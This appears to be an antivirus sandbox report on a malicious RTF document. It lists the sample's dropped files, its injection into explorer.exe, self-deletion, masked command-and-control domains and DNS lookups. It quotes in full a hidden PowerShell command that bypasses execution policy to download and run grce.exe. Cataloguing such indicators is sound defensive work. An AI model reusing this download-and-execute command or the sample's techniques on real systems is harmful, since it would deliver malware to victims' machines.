Technical Information
Malicious functions
Downloads and executes
- http://10#.#9.91.200/grce.exe as %appdata%\grce.exe
Injects code into
the following system processes:
- %WINDIR%\explorer.exe
the following user processes:
- grce.exe
Modifies file system
Creates the following files
- %TEMP%\abdtfhghgdghgh›.sct
- %APPDATA%\grce.exe
- %APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\699c4b9cdebca7aaea5193cae8a50098_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
- <Current directory>\~wrd0000.tmp
Deletes the following files
- %APPDATA%\grce.exe
- %TEMP%\abdtfhghgdghgh›.sct
Modifies the following files
Substitutes the following files
- <PATH_SAMPLE>.rtf
Deletes itself.
Network activity
Connects to
- '10#.#9.91.200':80
- 'xc###ycles.com':80
- 'li####missfixit.net':80
- 'st####bowmanart.com':80
- 'cx###yuan.com':80
- 're####rpannu.com':80
- 'yo######ndisontheway.com':80
- 'ra#####automoveis.com':80
- 'bo##j99.com':80
- 'ea#####lleimplement.com':80
TCP
HTTP GET requests
- http://www.la#######elincolnofburton.com/uecu/?RF##############################################################################################
- http://www.th#####feliciano.com/uecu/?RF##############################################################################################
- http://www.te####bytyler.com/uecu/?RF##############################################################################################
UDP
- DNS ASK xc###ycles.com
- DNS ASK li####missfixit.net
- DNS ASK st####bowmanart.com
- DNS ASK cx###yuan.com
- DNS ASK fa####antravel.com
- DNS ASK re####rpannu.com
- DNS ASK re####ating4u.site
- DNS ASK yo######ndisontheway.com
- DNS ASK ra#####automoveis.com
- DNS ASK la#######elincolnofburton.com
- DNS ASK bo##j99.com
- DNS ASK th#####feliciano.com
- DNS ASK te####bytyler.com
- DNS ASK ea#####lleimplement.com
Miscellaneous
Creates and executes the following
- '%APPDATA%\grce.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command "(New-Object System.Net.WebClient).DownloadFile('httP://10#.#9.91.200/grce.exe','%APPDATA%\grce.exe');Start-Process '%APPDATA%...' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\wininit.exe'
- '%WINDIR%\syswow64\cmd.exe' del "%APPDATA%\grce.exe"
